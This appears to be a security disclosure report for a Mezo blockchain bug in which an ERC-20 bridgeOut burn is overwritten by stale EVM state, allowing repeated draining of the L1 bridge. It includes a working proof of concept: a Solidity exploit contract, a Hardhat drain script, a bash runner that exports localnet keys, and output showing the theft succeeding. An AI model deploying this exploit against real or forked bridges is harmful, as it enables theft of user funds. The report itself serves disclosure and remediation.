Mezo: ERC-20 bridgeOut burn can be erased by a stale StateDB overwrite leading to full L1 bridge drain
Note: the fixed version of the validator client has been deployed for some time.
Potential full drain of L1 bridge without changing bridged balance on Mezo.
A malicious user can steal all ERC-20 tokens locked in the L1 bridge by repeatedly calling the bridgeOut precompile from a crafted contract. The precompile's ERC-20 burn executes in an inner StateDB that commits to a cache context, but the outer StateDB still holds stale pre-burn storage slots in its dirtyStorage. When the outer transaction commits, it overwrites the inner burn with stale values -- restoring the attacker's balance and allowance while the AssetsUnlocked event has already been persisted to the bridge store. The Ethereum sidecar observes this event and attests the unlock on L1, releasing real tokens to the attacker. The attacker keeps their Mezo balance intact and can repeat the drain every block.
Mezo's EVM uses a dual-context state architecture for precompile calls. When a precompile is invoked, Contract.Run() calls stateDB.CacheContext() which creates a cachedCtx branched from the base ctx. Cosmos-side state changes (like ERC-20 burns) happen on cachedCtx, while standard EVM storage operations (SLOAD/SSTORE) operate on the outer StateDB's dirtyStorage backed by baseCtx.
The bridgeOut precompile handles two token types with fundamentally different mechanisms:
burnBitcoin): Burns via x/bank (Cosmos native), then explicitly records a journal.SubBalance entry. syncJournalEntries() propagates this to the outer StateDB, keeping both contexts in sync.burnERC20): Burns via ExecuteContractCall, which creates an entirely new inner StateDB operating on cachedCtx. This inner StateDB executes burnFrom (decreasing balance, supply, and allowance slots), commits its changes to cachedCtx, and is discarded. No journal entry is created. The outer StateDB is never informed of these storage changes.This creates a critical asymmetry. After burnERC20 returns, the outer StateDB's dirtyStorage still contains the pre-burn allowance (written by approve earlier in the same transaction), and has never loaded the balance or supply slots. When the attacker triggers a subsequent transfer(sink, 1) in the same transaction, the outer StateDB performs a GetCommittedState on the balance slot. This reads from baseCtx -- which holds the stale pre-burn value because cachedCtx changes haven't been flushed to baseCtx yet. The stale balance minus 1 is written to dirtyStorage.
At end-of-transaction, StateDB.Commit() executes in this order:
func (s *StateDB) Commit() error {
if s.flushCache != nil {
s.flushCache() // Step 1: flush cachedCtx → baseCtx (inner burn lands)
}
return s.commit(s.ctx) // Step 2: write dirtyStorage → baseCtx (stale values overwrite)
}
Step 1 flushes the inner burn into baseCtx. Step 2 then iterates every slot in dirtyStorage and calls keeper.SetState on baseCtx -- unconditionally, without comparing against current values:
func (s *StateDB) commit(ctx sdk.Context) error {
for _, addr := range s.journal.sortedDirties() {
obj := s.stateObjects[addr]
// ...
for _, key := range obj.dirtyStorage.SortedKeys() {
s.keeper.SetState(ctx, obj.Address(), key, obj.dirtyStorage[key].Bytes())
}
}
return nil
}
The stale allowance slot in dirtyStorage (from the approve before bridgeOut) overwrites the zeroed-out allowance that the inner burn wrote. The stale balance slot (from the transfer after bridgeOut) overwrites the zeroed-out balance. The burn is erased.
Meanwhile, SaveAssetsUnlocked was called on cachedCtx during the precompile execution, persisting the AssetsUnlockedEvent to the bridge module's KV store. This event is flushed to baseCtx at Step 1 and survives Step 2 (different KV store prefix, not touched by dirtyStorage). The Ethereum sidecar observes this event and calls AttestBridgeOut on the L1 MezoBridge contract, releasing real tokens to the attacker's L1 address.
The attack is repeatable per-block. Each execution costs only 1 wei (the transfer trigger) while draining the full bridgeOut amount from L1. There is no supply assertion for ERC-20 tokens (only abtc is checked in verifyBTCSupply), so no end-of-block invariant catches the mismatch.
CRITICAL - Using a fixed balance of e.g., 10,000 USDC on mezo an attacker can completly drain the USDC balance on ETH mainnet bridge via repeated exploit transactions on mezo.
The Mezo bridge on L1 (0xF6680EA3b480cA2b72D96ea13cCAF2cFd8e6908c) holds approximatively ~1,753,958.4 USD worth of assets that can be stolen, taking into account offramp limit safeguard. Below are the details of asset that can be drained:
limit: 900000000 (9 cbBTC) decimals: 8 L1 bridge balance: 25.01605546 cbBTC VALUE AT RISK: (9 cbBTC) 633,190.53 USD
limit: 60000000000000000000000000 (60,000,000 T) decimals: 18 L1 bridge balance: 426,294,138.843419368493748432 T VALUE AT RISK: (60,000,000 T) 397,537.57 USD AT RISK
limit: 10000000000000 (10,000,000 USDC) decimals: 6 L1 bridge balance: 508,549.393027 USDC VALUE AT RISK: 508,549.39 USDC AT RISK
limit: 10000000000000 (10,000,000 USDT) decimals: 6 L1 bridge balance: 85,247.963024 USDT VALUE AT RISK: 85,247.96 USDT
limit: 90000000000000000000 (90 xSolvBTC) decimals: 18 L1 bridge balance: 1.103740676354553591 xSolvBTC VALUE AT RISK: 1.10374068 xSolvBTC (76,765.16 USD)
limit 90000000000000000000 (90 solvBTC) decimals: 18 L1 bridge balance: 0.496396263084933802 SolvBTC VALUE AT RISK: 0.49639626 solvBTC (34,920.48 USD)
limit: 900000000 (9 FBTC) decimals: 8 L1 bridge balance: 0.18064148 FBTC VALUE AT RISK: 0.18064148 FBTC (12,741.73 USD)
limit: 1000000000000000000000000 (1,000,000.00 USDe) decimals: 18 L1 bridge balance: 4,123.909662607937020208 USDe VALUE AT RISK: 4,123.20 USDe
limit: 900000000 (9 swBTC) decimals: 8 L1 bridge balance: 0.02709065 swBTC VALUE AT RISK: 0.02709065 (2,904.74 USD)
limit: 1000000000000000000000000 (1,000,000.00 DAI) decimals: 18 L1 bridge balance: 882.421484670245389691 DAI VALUE AT RISK: 882.38 DAI
Total assets currently at risk taking into consideration limits per ERC20 token and available drainable balance on the bridge: 1,753,958.4 USD of assets on L1.
x/evm/statedb/statedb.go:677-684 -- Commit() flushes cache context then writes dirtyStorage, allowing stale outer slots to overwrite inner burn results. -> https://github.com/mezo-org/mezod/blob/17af5fdf29a6884d52e5ba6a1ee788c1f6e2a5ab/x/evm/statedb/statedb.go#L677-L684x/evm/statedb/statedb.go:655-674 -- commit() writes every dirtyStorage entry to the KV store unconditionally, without checking if the value has been superseded by the inner context flush. -> https://github.com/mezo-org/mezod/blob/17af5fdf29a6884d52e5ba6a1ee788c1f6e2a5ab/x/evm/statedb/statedb.go#L655-L674x/evm/statedb/state_object.go:236-244 -- GetCommittedState() reads from s.db.ctx (the base context), returning stale pre-burn values for slots not yet flushed from cachedCtx. -> https://github.com/mezo-org/mezod/blob/17af5fdf29a6884d52e5ba6a1ee788c1f6e2a5ab/x/evm/statedb/state_object.go#L236-L244precompile/contract.go:228 -- CommitCacheContext() writes draft storage to cachedCtx before precompile execution, but does not invalidate the outer StateDB's dirtyStorage or originStorage. -> https://github.com/mezo-org/mezod/blob/17af5fdf29a6884d52e5ba6a1ee788c1f6e2a5ab/precompile/contract.go#L228precompile/contract.go:254-265 -- syncJournalEntries() only processes SubBalance/AddBalance entries, which burnBitcoin uses but burnERC20 does not, creating the BTC/ERC-20 asymmetry. -> https://github.com/mezo-org/mezod/blob/17af5fdf29a6884d52e5ba6a1ee788c1f6e2a5ab/precompile/contract.go#L254-L265precompile/assetsbridge/bridge_out.go:141-152 -- burnERC20() delegates to ExecuteContractCall without creating any journal entry, making the burn invisible to the outer StateDB. -> https://github.com/mezo-org/mezod/blob/17af5fdf29a6884d52e5ba6a1ee788c1f6e2a5ab/precompile/assetsbridge/bridge_out.go#L141-L152precompile/assetsbridge/bridge_out.go:221-222 -- burnBitcoin() explicitly creates a journal.SubBalance entry, the mechanism absent from burnERC20. -> https://github.com/mezo-org/mezod/blob/17af5fdf29a6884d52e5ba6a1ee788c1f6e2a5ab/precompile/assetsbridge/bridge_out.go#L221-L222x/evm/keeper/call.go:19-62 -- ExecuteContractCall() creates a new inner StateDB via ApplyMessage(ctx, msg, tracer, true), where true means it commits the inner StateDB on completion. -> https://github.com/mezo-org/mezod/blob/17af5fdf29a6884d52e5ba6a1ee788c1f6e2a5ab/x/evm/keeper/call.go#L19-L62x/evm/keeper/state_transition.go:390 -- ApplyMessageWithConfig creates a fresh statedb.New(ctx, k, txConfig) using the passed context (cachedCtx), isolating the inner state from the outer StateDB. -> https://github.com/mezo-org/mezod/blob/17af5fdf29a6884d52e5ba6a1ee788c1f6e2a5ab/x/evm/keeper/state_transition.go#L390x/bridge/keeper/assets_unlocked.go:104-163 -- SaveAssetsUnlocked() persists the unlock event to the bridge KV store on cachedCtx, which survives the stale overwrite because it operates on a different store prefix. -> https://github.com/mezo-org/mezod/blob/17af5fdf29a6884d52e5ba6a1ee788c1f6e2a5ab/x/bridge/keeper/assets_unlocked.go#L104-L163The root cause is that the outer StateDB's dirtyStorage is allowed to overwrite values that the inner StateDB (via ExecuteContractCall) has already committed to cachedCtx. Two complementary approaches:
flushCache() in Commit(), clear any dirtyStorage / originStorage entries that overlap with slots modified by the inner context. This prevents the blind overwrite in step 2.burnERC20 create journal entries (like burnBitcoin does) so that syncJournalEntries() reflects the balance and allowance changes in the outer StateDB. This removes the BTC/ERC-20 asymmetry entirely.For a realistic, mainnet-like reproduction we will poc the attack on 4 validator cluster in local network.
Video walkthrough -> https://mega.nz/file/rfYiEDoY#q53XXKdkBe8jIcOueAohbFHt9UkggTgKGIK41iEMSBA
mezod repo (v7.0.0)git clone https://github.com/mezo-org/mezod.git
## clean previous localnet (if any)
make localnet-bin-clean
## This creates .localnet/node{0,1,2,3}/ directories with keyring and config.
make localnet-bin-init
make localnet-bin-start #then 0
make localnet-bin-start #then 1
make localnet-bin-start #then 2
make localnet-bin-start #then 3
At this point wait atleast 5 blocks while monitoring the logs to see if the localnet is ready.
install solidity/hardhat deps (if first time):
cd solidity
npm install
cd ..
mezod/solidity/hardhat.config.ts add the localnet in network code branch:// networks: {
localnet: {
chainId: 31611,
url: process.env.LOCALNET_RPC_URL || "http://localhost:8545/",
accounts: parseCommaDelimitedString(process.env.LOCALNET_PRIVATE_KEY as string),
},
// }
ExploitContract.sol file in solidity/contracts path, and add the following contract:// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool);
}
interface IAssetsBridge {
function bridgeOut(
address token,
uint256 amount,
uint8 chain,
bytes calldata recipient
) external returns (bool);
}
/// @title ExploitContract
/// @notice Exploits the dual-context stale-read overwrite in Mezo's EVM.
/// Within a single tx: approve → bridgeOut (inner burn) → transfer
/// (forces stale SLOAD). On commit, outer dirtyStorage overwrites the
/// inner burn, restoring balance and allowance.
contract ExploitContract {
address private constant BRIDGE =
0x7B7C000000000000000000000000000000000012;
address public transferRecipient;
constructor(address _transferRecipient) {
transferRecipient = _transferRecipient;
}
function exploit(
address token,
uint256 amount,
bytes calldata recipient
) external {
IERC20 t = IERC20(token);
// Outer stateDB writes allowance slot into dirtyStorage.
t.approve(BRIDGE, amount);
// Inner stateDB (via ExecuteContractCall) burns balance, supply,
// allowance on cachedCtx. Outer stateDB still holds stale allowance
// in dirtyStorage and has not loaded balance/supply.
bool ok = IAssetsBridge(BRIDGE).bridgeOut(
token, amount, 0, recipient
);
require(ok, "bridgeOut failed");
// Forces outer stateDB to SLOAD balance from baseCtx (stale pre-burn
// value), then SSTORE (staleBalance - 1) into dirtyStorage.
// At commit, outer's dirtyStorage overwrites inner's burn.
t.transfer(transferRecipient, 1);
}
}
I've put extensive explanation about the attack contract see comments
poc_exploit.ts file in solidity/scripts path and paste the following scipt:/**
* PoC: ERC-20 BridgeOut Stale-Read Overwrite — Repeated Drain
*
* Demonstrates that an attacker with only 20,000 USDC can drain
* 20,000 USDC from L1 five times (100,000 USDC total) because the
* burn is erased after every exploit transaction.
*
* Reproduction (from repo root):
* 1. make localnet-bin-clean && make localnet-bin-init
* 2. Start all 4 nodes (make localnet-bin-start — select 0,1,2,3)
* 3. cd solidity && npm install (first time only)
* 4. bash scripts/run_poc.sh
*/
import { ethers, upgrades } from "hardhat";
const BRIDGE = "0x7B7C000000000000000000000000000000000012";
const BRIDGE_ABI = [
"function createERC20TokenMapping(address,address) external returns (bool)",
"function setOutflowLimit(address,uint256) external returns (bool)",
"function setMinBridgeOutAmount(address,uint256) external returns (bool)",
"event AssetsUnlocked(uint256 indexed unlockSequenceNumber, bytes indexed recipient, address indexed token, address sender, uint256 amount, uint8 chain)",
];
const ROUNDS = 5;
const AMT = 20_000n * 10n ** 6n; // 20 K USDC per round
const SUPPLY = 508_549_320_673n; // production totalSupply (6 decimals)
const OUTFLOW = 10_000_000_000_000n; // production outflow limit
const MIN_OUT = 20_000_000n; // production min bridgeOut (20 USDC)
function fmt(v: bigint): string {
return (Number(v) / 1e6).toLocaleString("en-US", { minimumFractionDigits: 2 });
}
async function main() {
const [deployer, attacker] = await ethers.getSigners();
// 1. deploy mUSDC (+ real production values)
console.log("\n[1] Deploying mUSDC (production proxy) ...");
const mUSDC = await upgrades.deployProxy(
await ethers.getContractFactory("mUSDC", deployer),
["Mezo USD Coin", "mUSDC", 6, deployer.address],
{ kind: "transparent", initialOwner: deployer.address, redeployImplementation: "always" },
);
await mUSDC.waitForDeployment();
await (await mUSDC.initializeV2()).wait();
const token = await mUSDC.getAddress();
console.log(" token :", token);
// 2. node0 (only admin) register the mUSDC token with bridge
console.log("\n[2] Registering token with AssetsBridge precompile ...");
const SRC = ethers.getAddress(
"0x" + ethers.keccak256(ethers.toUtf8Bytes("poc-usdc:" + token)).slice(-40),
);
const bridge = new ethers.Contract(BRIDGE, BRIDGE_ABI, deployer);
await (await bridge.createERC20TokenMapping(SRC, token)).wait();
await (await bridge.setOutflowLimit(token, OUTFLOW)).wait();
await (await bridge.setMinBridgeOutAmount(token, MIN_OUT)).wait();
console.log(" done");
// 3. mint supply & fund attacker with exactly 20,000 USDC
console.log("\n[3] Minting supply & funding attacker ...");
await (await mUSDC.mint(deployer.address, SUPPLY)).wait();
await (await mUSDC.transfer(attacker.address, AMT)).wait();
console.log(" total supply :", fmt(await mUSDC.totalSupply()), "USDC");
console.log(" attacker got :", fmt(AMT), "USDC");
// 4. deploy exploit contract & send the 20,000 USDC into it
console.log("\n[4] Deploying ExploitContract ...");
const exploit = await (
await ethers.getContractFactory("ExploitContract", attacker)
).deploy(attacker.address);
await exploit.waitForDeployment();
const exploitAddr = await exploit.getAddress();
await (await mUSDC.connect(attacker).transfer(exploitAddr, AMT)).wait();
console.log(" contract :", exploitAddr);
console.log(" funded :", fmt(await mUSDC.balanceOf(exploitAddr)), "USDC");
// 5. exploit loop — drain 20,000 USDC × 5 from L1 with only 20,000 USDC (could be less needed with same result but slower)
const iface = new ethers.Interface(BRIDGE_ABI);
let totalDrained = 0n;
console.log("\n══════════════════════════════════════════════════════");
console.log(" Starting exploit: 20,000 USDC → drain 5 × 20,000 USDC from L1");
console.log("══════════════════════════════════════════════════════");
for (let i = 1; i <= ROUNDS; i++) {
const bal = await mUSDC.balanceOf(exploitAddr);
const tx = await exploit.connect(attacker).exploit(
token, bal, "0x" + "aa".repeat(20), { gasLimit: 5_000_000 },
);
const rc = await tx.wait();
let l1Amount = 0n;
for (const log of rc!.logs) {
try {
const p = iface.parseLog({ topics: log.topics as string[], data: log.data });
if (p?.name === "AssetsUnlocked") l1Amount = p.args.amount;
} catch {}
}
// crucial check to ensure the attack is successful
if (l1Amount === 0n) throw new Error(`Round ${i}: AssetsUnlocked event not found`);
totalDrained += l1Amount;
const balAfter = await mUSDC.balanceOf(exploitAddr);
// BALANCE AFTER SHOULD HAVE BEEN 0
console.log(
`\n Round ${i}/${ROUNDS}` +
` | bridged: ${fmt(l1Amount)} USDC` +
` | balance after: ${fmt(balAfter)} USDC (raw: ${balAfter})` +
` | total drained: ${fmt(totalDrained)} USDC`,
);
}
// 6. final state
const finalBal = await mUSDC.balanceOf(exploitAddr);
const finalSup = await mUSDC.totalSupply();
console.log("\n── FINAL STATE ────────────────────────────────────");
console.log(" balance remaining :", fmt(finalBal), "USDC");
console.log(" totalSupply :", fmt(finalSup), "USDC");
console.log("\n── Result of the exploit ────────────────────────────────────────");
console.log(" Started with :", fmt(AMT), "USDC");
console.log(" Drained from L1 :", fmt(totalDrained), `USDC (${ROUNDS} rounds)`);
console.log(" Still holds :", fmt(finalBal), "USDC");
if (totalDrained > AMT) {
console.log(`\n Exploit successful`);
console.log(` initially attacker had ${fmt(AMT)} USDC, extracted ${fmt(totalDrained)} USDC from L1`);
} else {
console.log("\n Not triggered");
}
}
main().then(() => process.exit(0)).catch((e) => { console.error(e); process.exit(1); });
run_poc.sh file in solidity/scripts path and paste the followin script:#!/usr/bin/env bash
# PoC runner — extracts localnet keys and runs the exploit.
#
# Usage (from repo root):
# make localnet-bin-clean && make localnet-bin-init
# # start all 4 nodes in separate terminals (make localnet-bin-start)
# cd solidity && npm install # first time only
# bash scripts/run_poc.sh
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
SOL="$ROOT/solidity"
MEZOD="$ROOT/build/mezod"
die() { echo "ERROR: $1" >&2; exit 1; }
[[ -x "$MEZOD" ]] || die "mezod not found — run 'make build'"
[[ -d "$ROOT/.localnet/node0/mezod" ]] || die "localnet not initialised — run 'make localnet-bin-init'"
# wait for RPC
echo "[*] Waiting for JSON-RPC ..."
for i in $(seq 1 10); do
curl -sf http://localhost:8545/ -X POST -H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}' \
>/dev/null 2>&1 && break
[[ $i -eq 10 ]] && die "JSON-RPC unreachable — start the 4 nodes first"
sleep 1
done
# extract keys (stderr suppressed — only the hex key comes on stdout)
key0=$(echo y | "$MEZOD" keys export node0 --unsafe --unarmored-hex \
--home "$ROOT/.localnet/node0/mezod" --keyring-backend test 2>/dev/null \
| grep -oE '[0-9a-f]{64}' | head -1)
key1=$(echo y | "$MEZOD" keys export node1 --unsafe --unarmored-hex \
--home "$ROOT/.localnet/node1/mezod" --keyring-backend test 2>/dev/null \
| grep -oE '[0-9a-f]{64}' | head -1)
[[ -n "$key0" && -n "$key1" ]] || die "could not extract private keys"
cat > "$SOL/.env" <<EOF
LOCALNET_RPC_URL=http://localhost:8545/
LOCALNET_PRIVATE_KEY=${key0},${key1}
EOF
rm -f "$SOL/.openzeppelin/unknown-31611.json"
echo "[*] Keys extracted, .env written, running exploit ..."
echo ""
cd "$SOL"
npx hardhat run scripts/poc_exploit.ts --network localnet
run_poc.sh script, which intiate the whole attack operation automatically.bash solidity/scripts/run_poc.sh
Output:
bash solidity/scripts/run_poc.sh
[*] Waiting for JSON-RPC ...
[*] Keys extracted, .env written, running exploit ...
Compiled 45 Solidity files successfully (evm target: london).
[1] Deploying mUSDC (production proxy) ...
token : 0x50BA893843a85A538565ad268a52a39e4eADF9dA
[2] Registering token with AssetsBridge precompile ...
done
[3] Minting supply & funding attacker ...
total supply : 508,549.321 USDC
attacker got : 20,000.00 USDC
[4] Deploying ExploitContract ...
contract : 0x021908feD9e2573a24A41c3770f121EF1dFa0F85
funded : 20,000.00 USDC
══════════════════════════════════════════════════════
Starting exploit: 20,000 USDC → drain 5 × 20,000 USDC from L1
══════════════════════════════════════════════════════
Round 1/5 | bridged: 20,000.00 USDC | balance after: 20,000.00 USDC (raw: 19999999999) | total drained: 20,000.00 USDC
Round 2/5 | bridged: 20,000.00 USDC | balance after: 20,000.00 USDC (raw: 19999999998) | total drained: 40,000.00 USDC
Round 3/5 | bridged: 20,000.00 USDC | balance after: 20,000.00 USDC (raw: 19999999997) | total drained: 60,000.00 USDC
Round 4/5 | bridged: 20,000.00 USDC | balance after: 20,000.00 USDC (raw: 19999999996) | total drained: 80,000.00 USDC
Round 5/5 | bridged: 20,000.00 USDC | balance after: 20,000.00 USDC (raw: 19999999995) | total drained: 100,000.00 USDC
── FINAL STATE ────────────────────────────────────
balance remaining : 20,000.00 USDC
totalSupply : 408,549.321 USDC
── Result of the exploit ────────────────────────────────────────
Started with : 20,000.00 USDC
Drained from L1 : 100,000.00 USDC (5 rounds)
Still holds : 20,000.00 USDC
Exploit successful
initially attacker had 20,000.00 USDC, extracted 100,000.00 USDC from L1
The run_poc.sh script handles everything automatically:
What the script does:
this issue is valid and currently exploitable leading to draining the ERC20 assets from the L1 bridge balance at no actual cost.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(심각도 등급 추정치) | 80.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 80.00 |
VPI 공식 vpi-v1 기준